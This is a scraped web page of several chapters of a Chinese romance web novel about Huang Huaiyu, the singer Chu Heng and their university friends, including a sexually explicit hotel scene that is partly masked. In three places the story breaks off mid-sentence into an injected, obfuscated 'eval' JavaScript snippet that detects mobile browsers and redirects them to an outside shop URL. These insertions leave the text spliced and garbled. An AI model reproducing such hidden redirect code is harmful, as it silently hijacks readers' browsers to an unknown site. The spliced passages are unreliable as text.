她“噔噔噔”几步跑过去,跑到他面前,“啪”地一声伸出食指抵在他额头上。 “不许动!我给你施了魔法,你已经被我定住了!” 楚恒好整以暇地垂眼看她,嘴角勾起一点弧度,眼神落在她脸上,又上上下下把她整个人的打扮都打量了一遍,最后一直低头盯着她大腿上的腿环,眼底一点点窜起火焰。 “嗯。”他投降似地举起双手,“不动了。” “魔女小姐给我施了什么魔法?” “哼哼,当然是葵花点穴手!指如疾风势如闪电,你已经被我点住了,我就是盗圣白玉汤!哦不对,不对不对,串戏了……古娜拉黑暗之神!呜呼啦呼黑魔变身!你已经中了我的黑魔法!” “真厉害。”他喉间溢出轻笑,慢条斯理地说,“魔女小姐这么久没和我见面,好不容易见上了第一件事情就是把我定住,我好伤心。” “哼哼,我是魔女,我说了算。” 楚恒真的举起手一动不动,就这样站在那里,盯着黄怀予看。黄怀予觉得可好玩了,走上前几步开始认真观察他脸上的妆,“嗯?你今天是吸血鬼?瞳孔是红色的……” 她又捏捏楚恒的脸,“皮肤很白,好凉。” “会不会有獠牙?”说着她好奇地还捏了捏楚恒的下巴,迫使他张开嘴,想把手指伸进楚恒嘴巴里去摸摸。 结果才刚伸进去,手指就被他的牙齿给咬住了。轻微的刺痛感传来,黄怀予还没来得及说话,整个人突然被一把抱了起来,失重感让她惊慌所措,双腿不由自主夹紧了对方的腰,手紧紧搂住了他的脖子。 紧接着她就感觉楚恒的手稳稳接住了她的大腿,微凉的手指开始在皮肤上一点点摩挲,慢慢摸到了腿环处。 他手指勾起腿环的一点点边缘,弹了一下,皮质的环立刻“啪”地一声轻轻抽在了大腿处的皮肤上,激起小小的痛意和痒意。 “干嘛!” 他的牙齿松开,黄怀予赶紧把手指抽出来,正想看一下上面有没有牙印,下一秒就被眼前的人吻住了唇。 …… 会所太大了。 苏琬和谷奕找了一晚上,都没有找到黄怀予和楚恒的踪迹。 索性两人一起找了几个房间去玩密室逃脱。NPC极其专业,氛围感和代入感拉满,两个人玩得很是尽兴。 直到凌晨十二点,他们俩才看见黄怀予一个人坐在二楼餐厅里,桌上还摆着吃了一半的烧烤和海鲜。 苏琬走过去,“总算找到你了!今天晚上一晚上你都去哪啦?” 黄怀予低头剥着小龙虾,像是饿极了,一边往嘴里塞,一边含含糊糊回答,“玩了几个房间,然后就肚子饿了,过来吃东西。” 谷奕坐过去,看了她一会,突然皱眉道,“你嘴怎么了?怎么肿了?” “……是吗?”她一惊,眼珠子转了几圈,对着旁边墙上的镜子照了一下,有点慌乱,“有点过敏吧可能……那我不吃了,哈哈。” 谷奕也没在意,“楚恒呢?看见他没?” “……看见了。”黄怀予低着头,戳着盘子里的烤串,“他应该现在还在玩吧。” “去哪了?”谷奕拿出手机打电话,“哥们,来餐厅,一起吃顿宵夜吧。” 苏琬低下头,突然看见黄怀予大腿上皮肤好像一片红,“嗯?这儿怎么红了?” “!”黄怀予惊了一下,干笑两声,“没什么。……被这个腿环勒的吧。” …… 不得不说这是一场非常成功的party。 四个人一起吃吃喝喝,又一起闯了好几个房间,通宵了都丝毫没有困意,第二天早上才筋疲力尽地上了车被送回了酒店。 接下来的两天,三个人陪着楚恒在江城好好逛了两天。 此时正是江城短暂的秋冬交际之时,天气淡淡的冷,又不像冬日那么彻底的刺骨,迎面送来清新凉爽之感。 四个人在街头喝咖啡,抓娃娃,过早,逛公园。 一切都好像和几个月以前的那一场帝都毕业旅行没有区别,江滩傍晚的风散散地吹,江汉路晚上人挤人,楚恒全副武装遮得严严实实,趁着苏琬谷奕没注意,低头,在人潮汹涌中,抓住了黄怀予的手。 打打闹闹又是一天,无数人擦肩走过,街上人来人往,树叶绿了又黄,这个世界很明亮,他们四个走在一起好像可以一直这样走去世界的尽头。 170. 第 170 章 五天假期很快结束。 楚恒正在紧锣密鼓地筹备新专辑,假期结束马上就飞回了帝都,下一次见面也许会等到元旦。 苏琬最近帮老师在做答辩秘书,她还想到之前法学院学术项目答辩的时候碰见了社会学专业的金钰。黄怀予听到这个消息也不是很意外,毕竟金钰经常没事就往法学院跑。 谷奕最近跟着他们专业老师参观了很多活动和工作坊,起了一点兴趣,也想参加大创,于是打算牵头尝试做一个电商项目。现在正好黄怀予本专业的社会调查和数据统计可以派上用场,两人当下就一拍即合说要一起做。 谷奕找到了自己学院的指导老师,又拉了一个软件工程的学姐和一个本专业的学长,四个人的小组就这样成立。大家几乎每两天就聚在一起开会、查资料、写报告,搞得不亦乐乎。 这个小组是跨学校、跨专业的,按理来说沟通起来会有一些困难。但是由于组长是谷奕,他在正事上意外地很专业,从小的特殊的家庭环境和熏陶也让他有了普通大学生完全没有的见识和眼界,知道很多市场规则和行业内幕,很多时候都能提出一针见血的观点。 而在沟通能力上,他也完全起到了润滑剂的作用,一边整合黄怀予这边的观点,一边也能很好地理解和传达对面的视角,组员之间也迅速熟络了起来,表达观点时也更大胆直接,沟通十分高效。 ——这让黄怀予十分意外。 她从2017年开始跟谷奕认识到现在,觉得谷奕真的成长了很多,当年染着黄毛、只会打架的毛头小子叛逆富家公子好像已经离他很遥远了。 “是吗?” 谷奕听完了杯姐的话,难得地思考了一下。 “也许是年纪大了吧。” 谷奕从没想过他居然也有一天能这么自然地说出这句话,当年那样叛逆倔强的问题少年,居然也会说出这样一句有点苦涩、泛着成长的无奈和岁月的油腻的话。 但是事实确是这样,他真的是这么想的。 年纪大了,很多以前不能理解的事,现在他都可以理解了。 他开始理解他妈妈为什么想送他出国,开始理解他爸爸为什么要离婚,开始理解苏琬,开始理解黄怀予,开始理解楚恒,甚至开始理解路边的乞丐、以前跟他打过架的小混混。 他觉得好像大家都有自己的立场,都有自己的观点,全世界这么多人,其实人和星星一样,因为互相都不同才得以组成这个世界。 他开始可以听明白别人的弦外之音,开始可以看得懂一些明显的暗流涌动。黄怀予依然大大咧咧地喊他“大傻”,他也习惯性接受,只是他现在身上的“傻”气也许只存在于一些直接和冲动里,一些风风火火想做就做的勇敢,一些骨子里不会改变的叛逆和标新立异,以及对他爱的人的无比珍视。 手机里楚恒给他分享了他一直喜欢的那个球星的签名,说活动的时候碰见了,所以帮谷奕要了一张签名,下次见面帮他带过来。 散会之后黄怀予嘻嘻哈哈地塞给他一块巧克力,眨着眼狡黠地笑,让他快吃,他早已看穿却还是乖乖吃下去,一股芥末的味道充斥口腔,他笑着扯住黄怀予要秋后算账。 走出教学楼,今天是周日,他看见苏琬正站在自己学校校门口等他,大衣随风吹起衣角,乌黑的长发垂落,那一幕美得像一幅画。 ——嗯,他对于自己爱的这些人,都感到无比珍视。 谷奕觉得自己现在很幸福。 * 十二月。 黄怀予由于期中成绩在班里名列前茅,同时还有一个学术项目主持人的身份,于是有额外加分,拿到了奖学金。 奖学金申请流程中要通过团支书往上申报,黄怀予截图给曹康裕说“麻烦你了”,曹康裕很快回复,“没事,应该的”,紧接着又发了一个“你可真厉害啊,一下子把我们班其他两个大学霸都干下去了,最后奖学金还是被你拿了。” 黄怀予:“哪两个?” 曹康裕发了一个捂嘴笑的表情,颇有些阴阳怪气,“还能有谁,当然是金钰和韦真啦。金钰成绩全班第一,但是就是因为手上的几个项目都没有立项,所以最后算上综测,总分还是没你高。韦真项目倒是很多,但是成绩没你好,最后也输给你了。” “……”黄怀予皱眉看着这段话,心里已经隐隐约约有了些不安。 下一节专业课,黄怀予去教室外倒水,看见金钰和韦真都在那里排队。她本想等她们俩结束离开后自己再去,却没想到韦真转身已经看见了自己,立刻说: “黄怀予!怎么不过来?” 他看了一眼旁边金钰,脸上还带着笑,“放心,大家都是同学,不会因为你立项了我们没有就怎么样,你不用怕。” “……”黄怀予心叹一声果然,对韦真已经是无语至极。 她走过去排在队伍后面,韦真立刻凑过来,“你那个项目,指导老师是徐樱老师?” 他声音正好控制在周围几个人都可以听见的音量: “是徐樱老师帮你改的吧?真羡慕你啊,我的指导老师都没空帮我改,我都是自己写的。怪不得你被评上了,我没有。有外援的感觉真好啊。” 黄怀予看他一眼,平静说:“我也是自己写的。” “哈哈,知道知道,开个玩笑,别当真。” “你真的是开玩笑吗?”黄怀予直视着他,“我看你是自己没有评上,所以到处找别人的问题。心眼太小,妒心太重,我建议你去看看中医。” “你!” 韦真没想到会被黄怀予这样明着挑破,周围几人一下子全都看了过来,他的脸一下子红了,喘着气,满脸愠怒,“我没有!我才没有嫉妒你!” “是吗?谁能证明你没有嫉妒?” “我有什么好嫉妒你的!我有好几个项目在手里!前几天学生会的一个大二学长还说要带着我做大创!我——” “哦。那看来你的项目也是学长带你做的。不像我,一个高年级的都没有。有外援的感觉真好啊。” “……”韦真已经被气得七窍生烟,瘦削的脸上青青白白,看上去像是下一秒就要晕倒了。 他竭力冷静下来,这才发现自己刚刚一生气激动居然把自己那几个还没做出成果的项目都说了出来,一时间瞬间冷汗都下来了,咬牙不说话。 黄怀予懒得听他的自证,她就是为了不自证才这样怼韦真的,谁能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韦伯说爱情是灵魂和灵魂的融合,满足了爱的需求,他厌恶工具理性的世界,计算、性价比、利益、金钱都应该远离,就在此刻,此时此刻,黄怀予裹着红色围巾,站在冷风中,前方楚恒带着帽子口罩,遮得严严实实,一眼就看见了在大门外的她。 头顶突然飘下细小的白色未知物体,黄怀予抬头,愣了一下才发现,下雪了。 无数的、飘散的细雪,像是羽毛,在路灯下微黄的灯光里飘飘荡荡,把全世界都这样包裹起来。冷风呼啸着吹,江城的寒气几乎可以隔着厚重衣服刺进骨子里。 楚恒踏着雪,身形颀长,一步步朝她走来。 日思夜想的人此刻就站在她面前,口中呼出的白气把他的整张脸都打上了一层柔光滤镜,他微微睁大眼睛,一点点拭去黄怀予眼角湿润的泪,声音低沉。 “怎么哭了。” 黄怀予吸了吸冻得通红的鼻子,滚烫的眼泪流下来。 “楚恒。” 她脱口而出道: “我们一辈子都在一起吧。” 171. [锁] [此章节已锁] 黄怀予刚插上房卡,还没来得及关上酒店房门,就被楚恒一把按在了墙上。 两个人吻得/难分难舍。 他身上带着深深的寒气,黄怀予不舒服,挣脱出来喘着气,“先把衣服/脱了……” 楚恒整个人像是发烧了一般,皮肤的温度/高得烫人,额角全是汗,眼神都是/迷离的。 “不是要一辈子和我在一起吗。”他叩住黄怀予挣扎的手腕,捏住她的下巴,又吻/了上去。 “……”黄怀予后悔了,她忘了这人真的经不起刺激,自从机场见面听见她说了那句话以后,这一路上的眼神就跟黏在了她身上一样,是她一直提醒他在外面要保持距离才堪堪忍住。 她极力躲开,楚恒的吻落在了她左脸上,“这样不舒服!” 那人动作终于顿了一下,抬起身,和她分开距离,一边微微喘着气,盯着她看,一边迅速把身上的大衣脱了/下来扔在了旁边的衣帽架上。 然后把空调温度调到了29度,又抬手开始拉黄怀予身上的拉链,把她的羽绒服也脱了下来。 “现在舒服了吗。”他盯着她的脸问。 “……你先去洗澡。”黄怀予觉得一定是因为暖气温度太高,她脸越来越热,推着他的胸口,把他推到了浴室里,关上了门。 …… 房间里终于重新安静了下来,浴室里响起水声。 她坐在沙发上,盯着面前的这张1米8的白色的大床,发呆。 这段时间以来虽然两个人没有怎么见面,但是楚恒已经俨然把每晚睡前给她发腹肌照这件事情当作了一项每日schedule,每天就算再忙也会去健身房。 跟一年前两人刚认识的那个时候的瘦削比起来,楚恒现在已经精壮了很多,身下肌/肉线条越来越明显,抱着的时候也能明显感觉到/鼓起的/轮廓。 不发力的时候,摸/起来是/软的。发力的时候,就会/变硬。 ……黄怀予想到这里,像是终于从发呆中醒了过来,站起身。 这酒店房间是楚恒定的,很大,还有内外两间,黄怀予直接去了另一间的浴室开始洗澡。 等到她洗完澡吹好头发出来,楚恒已经坐在床上,看上去已经等了一会了,正一瞬不瞬地盯着她看。 黄怀予走过去,拉开书包拉链,掏出一盒东西,扔到他旁边。 “!” 看清了那是什么东西之后,楚恒整个人难得出现了三秒的完全空白。 “……什么时候买的。”他觉得自己的声音像是从牙缝里挤出来的。 “来接你的路上。”黄怀予坐在他身旁,“这一小盒可贵了!才三个,50多块。” 她看见楚恒抿着唇不说话。 然后转身掏出手机,点了两下。 随后,黄怀予自己的手机就震了两下。 她打开一看,【楚老师】给自己转账1314元。 ? “干嘛?50块我还是有的,好不好?” 楚恒把手机放到一边,也没回答。 低着头,看不见他的表情。 “……”楚恒半天都不说话,黄怀予耐心耗尽,戳戳他的手臂,“你说话呀。” “你想让我说什么。”楚恒抬起头,看她,黄怀予这才看见他眼尾/红得吓人,双手握紧成拳放在身体两边,紧紧地盯着她看,那样子像是要把她吃掉/一般,“你是故意来招我的是吗。” 他咬着牙,微微闭上眼,身体的/反应从一进房间门开始就已经/泛滥成灾,哪怕是被打断洗了个澡也毫无任何缓解作用。 “上次见面的时候,除了吻,什么都没有。” 他声音很低,哑得/要命,手握成拳,手背上几乎可以看见勃发的青筋/和血管,像是青色的山脉,在白皙的/皮肤上极其显眼。 下一秒,他就被一股力气往后推/倒倒在床上。 黄怀予撑在/他身上,双手按在他胸前,捏/了两把,果然听见他皱着眉喘/了两声。 “现在不就可以有了吗?” 楚恒听见这话,眼里像是有什么翻腾,一把翻身/把她按/在身下,“别乱动。不可以。” 黄怀予去摸他的脸,他呼吸声越来越粗/重,不自觉去蹭她的手。黄怀予又去抓他/身上的衣服,被他一把/抓住手腕按/在床上。他浑身温度高得可怕,却还紧紧按着她,急促地调整呼吸,“不可以。” 黄怀予被三番两次拒绝,一股火气直冲脑袋。 “凭什么不可以!” 她冲楚恒吼,用力挣扎,眼角都慢慢沁出湿润的泪。 “你说不可以就不可以?我就想要不行吗?你每天都那么忙,一个月才见一两次,谈恋爱有这么谈的吗?见也见不到,摸也摸不到,你长这么帅干什么用的?难道就是用来出现在我手机屏幕上的吗?” “你想过我吗?我这么年轻,每天荷尔蒙分泌这么旺盛,我就想贴着你不行吗?这也不可以,那也不可以,那你走!我讨厌你!楚恒我讨厌你!唔——” 剩下的话都淹没在唇齿之间。 …… 衣服被甩了一地。 他气息/滚烫,手掌宽大,皮肤/相贴的时候仿佛血液都交融在一起。 黄怀予只觉得整个人都像是被抛到天边,头要撞上床头的前一秒被他一把拉下来,紧紧抱在怀里。耳朵被他/缠绵/悱恻地啃/咬,鼻间全是他身上的味道,炙热的滚烫的汗一滴滴流下来,隐入深处。 她脑子昏昏沉沉,不知道到底过了多久。意识迷乱,像是有电流/浑身乱蹿,腰间酥/麻,情绪快要泄闸而出的前一秒,他的手指/一路向下贴了上去。她脚尖都蜷缩了起来,绷紧的/弦终于断裂,唇又再次/被封住,所有的嘤/咛都被堵在了唇/齿之间。 耳边突然传来他深重的/喘息,他着迷般一遍遍去吻黄怀予眼角的泪。 “黄怀予……只能对我流眼泪。” “怀予。” “小予。” “予予。” “宝宝。” 风中摇曳的堤坝终于毁于弥天风暴中。好像有什么温凉的液体溅了出来,在那一刻楚恒紧紧吻住了身下人的唇,把所有想对她说的话全部都封缄于/交缠的气息里。 他想起了黄怀予在机场流着泪说要和他一辈子在一起的样子,想起了黄怀予被他按在/床上眼角湿润地喊凭什么不可以的样子,想起了刚刚黄怀予浑身是汗被他吻去泪水的样子。 很多张她哭泣的脸。 温凉的液体被阻隔在薄薄的橡胶层外,但是她的每一滴眼泪都好像滴在他的心上。 楚恒闭着眼睛,却觉得眼前似乎闪过朦胧的白光。 这个世界会有上/帝吗?他生不带来死不带去,唯有一条生命,当做赎罪/券,用罪恶的火焰烧到天边,请上/帝暂停时间。世界末日,洪水漫天黑暗/永堕,死之前的最后,他要用尽全力记住这一秒。 * 黄怀予累得眼睛都不想睁开。 肌肉酸麻,嗓子干涩,浑身一点力气也没有。 她已经没什么时间意识了,好像很久之前她隐隐约约听见窗外传来烟花的声音——烟花?哦对,今天是元旦,附近有跨年烟花。 她模模糊糊地想,她哪里还有精力去看外面的烟花,她脑子里的烟花都已经炸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14468070|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一晚上了。 “我要喝水。” 旁边的人顿了一下,吻了一下她的脸,然后抽身下去。没过多久拿着一杯水过来,一点点喂给她,她像三天没喝水一样咕噜咕噜全喝完了。 “还要喝。” 他拿着空杯又起身去倒。 黄怀予喝了两大杯总算觉得好点了,重新瘫回床上。下一秒那人又黏黏糊糊压/上来。 “我好累!” “你还要多久?” 楚恒吻她的眼睛,轻声说:“快了。” 她看了一眼桌子上的空盒,“我的五十块钱都被你用完了!” 那人胸腔震动起来,像是在笑,笑了好几秒才停下来。 “最后一个还在用呢。”他把黄怀予翻了个身,让她趴着,拿了个枕头垫给她,压上她的背,一点点把她脸上散乱的发丝温柔地拨拢到耳后。 …… 终于结束以后,黄怀予昏昏欲睡,几乎下一秒就可以睡着。 她强撑着最后一点意识,朝旁边那人伸出手臂。 “带我去洗澡。” 楚恒起身,站在床边。黄怀予躺在中间的位置,于是他弯腰抓住黄怀予的脚腕,朝旁边拖。 拖着拖着,黄怀予突然感觉没动静了。睁眼一看,楚恒站在她面前,手握着她的脚腕,整个人站定不动,眼睛还一直盯着某个地方看。 “你!”她一脚踹过去,正好踹到楚恒胸口处,这下看得更清楚了。楚恒按住踩在/他胸口的那只脚,慢慢捏/了两下,然后抓过旁边的被子,把她整个人裹了起来。 “先不用洗。” 他调好空调的温度,居高临下地看着她,开始一点点捡起地上的衣服往身上穿。 “楼下有24小时便利店。我现在下去买。” ? 黄怀予骂他,“你有病啊!我要休息!” 楚恒嘴角慢慢勾起一点笑。房间里灯光昏暗,他站在床边,上身赤/裸,薄薄一层肌肉/线条影影绰绰极为明显,白皙/劲瘦的腰上还有几块被掐/红的痕迹。 他开门走了。 …… 楚恒拎着一个袋子再次回来的时候,打开门,发现房间里静悄悄。 地上一片狼藉,还有几件散乱的衣服。 chuangdan凌乱,有些地方还是湿的。被子高高鼓起一团,里面缩着一个未知生物,睡得正沉。 楚恒把袋子放在床头,把沾满江城冷夜里的寒意的衣服/脱/下来,慢慢坐下,躺到她身边。 一点点把裹住她的头的被子拉下来,露出一张憋闷到红的脸。她依然睡得很熟,耳尖红红的,闭着眼睛,呼吸均匀。 本想抱她去洗澡,动作却在这一刻迟疑。 楚恒一点点低下头,开始缠/绵地亲/她的脸,她的眼睛,她的睫毛。 理智告诉他,他应该停下。刚刚下楼,后半夜江城的街道已经萧瑟无人,寒风像是刀子一般刺到脸上,也让他清醒了不少。 虽然确实把东西买回来了,但是他并不准备继续的,只是想回来给/她洗澡,之后就让她睡觉,毕竟她之前就已经困得睁不开眼了。 可是他的手好像不受他大脑控制。 细细密密的/吻落在黄怀予脸上,楚恒喘着气,喉结上下/滚动了一下,掀开了被子。 …… 黄怀予睡觉睡到一半被/弄醒了。 身上的人察觉到她醒了,动作似乎停顿了一下,随后更加用力地撞了一下。 “啊!” 黄怀予忍无可忍扇了一下楚恒的脸。 下一秒他却好像笑着蹭上来,“再打一下。” 172. 第 172 章 楚恒元旦有三天假期。 这三天里,黄怀予基本没怎么出过酒店房间门。 …… 楚恒在《光芒之下》之后的第一张数字专辑终于发出来了。 这张专辑收录了之前比赛时的三首歌《孤单行星》、《近日点》、《太阳》,还另外加了十七首歌,全部是楚恒作曲作词。梁吟东找了业内一位很知名的制作人帮他做了编曲,发专之前也进行了大量宣传预告。 好在,这张专辑成绩确实不错。作为新人歌手,第一张个人数字专辑就上了销量排行榜首页,其中还有一首氛围轻松的恋爱小甜歌在短视频平台意外走红。 梁吟东见状,又安排了一些推广以及明星合作,成功把这首小甜歌的知名度带着又上了一个台阶,也算是成为了楚恒除了《孤单行星》之外的最有名的代表作之一。 楚恒名气越来越大,通告越来越多,除了一些音综邀请,梁吟东还意外得到了一个知名杂志的邀约,希望楚恒去欧洲参与拍摄,为期两个月。梁吟东毫不犹豫地就给接了。 “梁姐,要去国外两个月,他可能不愿意吧……” 小宋有些为难地开口。 “可能不愿意”还是她美化之后的措辞,她和梁吟东都知道,楚恒肯定不愿意,毕竟他只要一得空就往江城跑,工作的时候也是时时刻刻把手机拿在手里对着手机笑。 ——典型的热恋中。 “嗯。已经来找我闹过了。” 梁吟东不咸不淡地说。 “但是闹了也没用,合同已经签了,必须去。” “这是个很好的机会,别说去两个月了,去半年都行。” * 江城大学。 寝室生活小摩擦不断,戚天的脾气和习惯收敛了一些,但是又暴露出新的问题。大家或是沉默或是小爆发,但是总而言之还算得上平和。黄怀予觉得吵架很累,很多时候忍忍也就过去了,更何况,她自从上次就已经确定,她们俩不是一路人,话不投机半句多。 ——只是戚天这人虽然生活中不怎么好相处,但是学习上却一直很认真。 每天雷打不动去图书馆自习,晚上睡前也一定会看专业书籍,期中考试成绩也是名列前茅,上课时回答问题很多时候表达出的观点都让黄怀予很欣赏。 因此大部分时候,黄怀予和戚天都是下课以后针对某一个学术问题从教学楼一路讨论到寝室的。 两个人你一言我一语,各自欣赏对方的能力,又各自持有迥异的立场。天南海北,古今中外,从科学聊到哲学,从理性聊到宗教,两人谁也无法说服谁,但是两人都可以为对方提供崭新的视角。 只是一到寝室之后,两人又会因为寝室生活小事吵起来,刚刚的学术氛围荡然无存,迅速开始冷战互翻白眼。 同学之间也开始都从学姐学长那里获取最新信息,比如哪个老师的课事少分高。在这个标准之下,计承教的课几乎是被疯抢,甚至有一些其他学院的同学都会来听。 他为人温和,关心同学,每个人交上去的作业都会认真批改并且留下评语。社科类的课程很多时候都涉及人生道理和哲学意义的终极关怀,如果碰见有同学给计承教写长长的论文来表达自己对于社会、心理的观点,他也会认真回复,鼓励大家。 再加上,他看谁都笑眯眯的,中年秃顶,这个样子实在是没什么攻击性和威慑力,因此也有很多同学都和他保持着友好关系。 …… 项目经费已经发放一半,黄怀予整天往徐樱办公室跑,三天两头跟组员开会,筹划着寒假怎么做准备可以最大限度地完成研究。 这个研究主题实在是和她自己的经历太过息息相关,找到几位访谈对象进行深度访谈时,她一个人深夜在电脑前打下这些文字,竟然不自觉落泪。研究者的情感和被访谈者的情感在那一刻好像融为一体,她想她很明白被访谈者深处的那些讲不出口、无法诉诸于文字和语言的感觉,那是每一位女性在成长过程中都会遇到的塑造和凝视。 “美”和“被爱”,这是她从小就被教的。而当自己的身体无法契合当下美的标准时,立刻就会开始寻求另一条逃生路径——她只能在“出人头地”的标语下努力学习、升学、考试,企图用学霸的身份让别人高看自己一眼。 所有与美丽相捆绑的附赠感情,比如少女的心动,比如生机勃勃的恋爱,比如在大家面前展示一条新裙子,这样的东西,她早就已经失去了。所有相关的概念都和她无关,因为她本质上都不相信像她这样不美的、肥胖的、蠢笨的女生可以获得爱。 所以,这样看来,她爸爸不喜欢她也是正常的吧?卫语不喜欢她也是正常的吧?冯尽欢会嘲笑她也是正常的吧?没有人会以爱情的角度喜欢上她,也是正常的吧? 谁让她不美呢。谁让她是必须得美的女人呢。 于是她更惊慌所措地去努力学习,她害怕自己唯一的学霸优势也丧失,害怕连当第一名的荣耀也被抢走,她觉得自己什么都不如别人,什么都如此失败,看上去阳光其实早就已经扭曲到极致。 ——黄怀予惊觉自己十几年来都挣扎在这样的泥潭里。 越陷越深,越挣扎越痛,无法言说,每一次与他人提及都是一次自揭伤疤,索性再也不理会,放在心里等它腐烂,外表上还要装作无事,在泥潭里给岸上的人嘻嘻哈哈讲笑话。 只是现在,她已经被人拉出来了。 有人爱她。爱她讲对流雨时略略得意的神色,爱她讲笑话时狡黠的眼睛,爱她可以走遍世界的充满力量的双腿,爱她表达自己时滔滔不绝的唇。 “美”和“被爱”是她的毕生课题吗? 慕田峪缆车的狭窄空间里,冯尽欢对她说,其实我一直都很羡慕你。楚门一中校门前,一向高傲的齐龙飞向她伸出手,说祝你前程似锦。帝都房间小小一隅里,她情绪崩溃哭着对楚恒说我喜欢你。江城机场凛冽的冬风中,她裹着围巾说楚恒我们一辈子都在一起吧。 终于说出口的那一刻,终于承认的那一刻,终于勇敢表达出来的那一刻。 ——她就已经满身泥泞地,从那个泥潭里,一点点爬出来了。 不用说“你也很美”“每个女生都很美”这样的话,因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475068|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根本不用把“变美”当做人生目标和追求。 她的毕生课题,是真诚地对待自己,是以自己的主体性为先,是永远追求自由,是为了自己而活。 * 放寒假的前一周,她见了吴如冬,一起吃了顿饭。 吴如冬也在江城读大学。 两人半年没见,比起之前,她好像终于变得爱笑了一点。 眼镜依然很厚,背却好像挺直了一些,她说离开了家长以后一个人在江城读书,每天还能有空去跑跑步。刚开始半圈都跑不了,现在已经慢慢可以跑两圈了。 “高中的时候,上晚自习之前,就会看见你经常去操场上跑步。” “我就觉得,你好有活力啊。好健康啊。好……充满生机啊。不像我,读书读得灰头土脸,颓废失魂。”她握紧手里的杯子,嘴角慢慢绽出一点笑,“现在我终于不用再像高中那样没日没夜地学习了,也许我也终有机会,朝着你越来越靠近一点。” “你还记得之前我过生日,你送给我的手办,和那张明信片吗?” 她抬头,看向黄怀予,眼睛亮亮的。 “你当时在明信片上写,‘我在大学等你’。” “这张明信片,和手办,都被我带来了江城,就放在我的桌上。每天,都可以看见。” 黄怀予很是感动,夸张地说:“你这么爱我?这顿饭我请了!以后你每年生日我都给你写明信片。” “……爱?”吴如冬听见这个字,突然呆愣愣的,慌乱地移开视线,低着头。 几秒钟后,她才默默道,“爱……吗。” “哦对了,之前一直没问你呢。你为啥选择在江城读大学呀?”黄怀予吃着桌上的烤肉,回忆着,“是因为江城理工大学学校title还不错?还是因为专业?” “我记得之前好像你的分数可以去魔都的一个学校的,魔都多好啊!你初中的时候就跟我说你喜欢魔都,大城市,漫展活动还很多,很适合你这样的二次元,而且可以离你家人远一点,更自由。” 黄怀予记着初中的吴如冬,那个时候她还经常聊起对沿海一线大城市和丰富多彩的娱乐活动的向往——只是不知道,为什么吴如冬最后会选择留在江城。 “因为。”吴如冬突然哑声,顿了一下,低声说,“因为你在江城。” “什么?”她声音太小,烤肉盘上的油滋滋作响,黄怀予没听见。 “……没事。”吴如冬抬起头,露出一个笑,“留在江城也挺好的。” “哦,确实也没错,江城确实也挺好。但是,我还在想你的家人。”黄怀予说这话时有些小心翼翼,“留在省内,会一直受他们影响,很深很深。之后能走出去的机会就不多了。” “嗯。”吴如冬扬起脸,像是早就考虑过这个问题了,她脸上出现一丝释然的、近乎悲壮的表情。 “我这辈子都无法摆脱我的家人了。” 脑子里突然就好像即将脱口而出下一句话,可是临到唇边她突然意识到什么,又闭上了嘴。 那句话是:“以及,我这辈子也无法摆脱你了。” 173. 第 173 章 “这个五花肉超好吃!你快吃!” 黄怀予往吴如冬盘子里放肉,旁边她的手机突然震了两下。她拿起来,脸上的笑容一下子僵硬起来。 “谁?” “……我妈。” 她低头,打开相机拍了张烤肉的照片,发了过去。 没过两秒钟,黄怀予就看见对面回复,“就吃这些?外面东西不干净,全是地沟油老鼠肉。跟你说了多少遍了,别吃这些脏东西。” “怎么这么多肉?对面还有一双筷子?你在跟别人吃?” “跟谁?女的男的?” “说话!” “不回复是吧?” “新交的男朋友?你翅膀硬了是吧?” “你要不要脸?第一学期期末考试才考你们班第六名,你还有脸谈恋爱?” “学生最重要的事就是学习,什么时间干什么事,这个道理跟你讲了十几年了你还不明白?你是猪脑子?” “大学是最重要的时候,大三大四你还要保研的!就你这第六名你根本就保不上!你还不抓紧时间,有点危机意识,还跑出来谈恋爱?我怎么就生了你这么个没用的人?” …… 吴如冬低着头,一个字一个字看着手机里的信息,眉宇间全是麻木,像是早已习惯。 黄怀予一把把她手里的手机抢过来,按下语音条。 “阿姨好!我是黄怀予,我和吴如冬在吃饭呢,就我们两个人。我们等会还要去看电影,她可能不方便及时回复您消息啦。” 说完,松开手指,把手机倒扣在桌面上,往吴如冬盘子里放烤好的肉。 “快吃。” “……”吴如冬抬头看她,想伸手去拿手机,被她一把按住。 “快吃。”她重复道,“再不吃就冷了。” 吴如冬慢慢缩回想去拿手机的手,然后沉默无言地吃下黄怀予给她夹的肉,半晌才突然开口:“其实她也没说错。每天都学习,还是考不过别人,用尽全力也只能考全班第六。如果想保研,第六是一个太危险的名次了。” “你想保研吗?” 吴如冬沉默了。 黄怀予其实猜对了,吴如冬心里并不想保研。她对学术没有兴趣,甚至对读书这件事也从心里丧失了兴趣。她想早点出去工作,想早点去实习,她想进入游戏相关行业,做自己喜欢的事情。 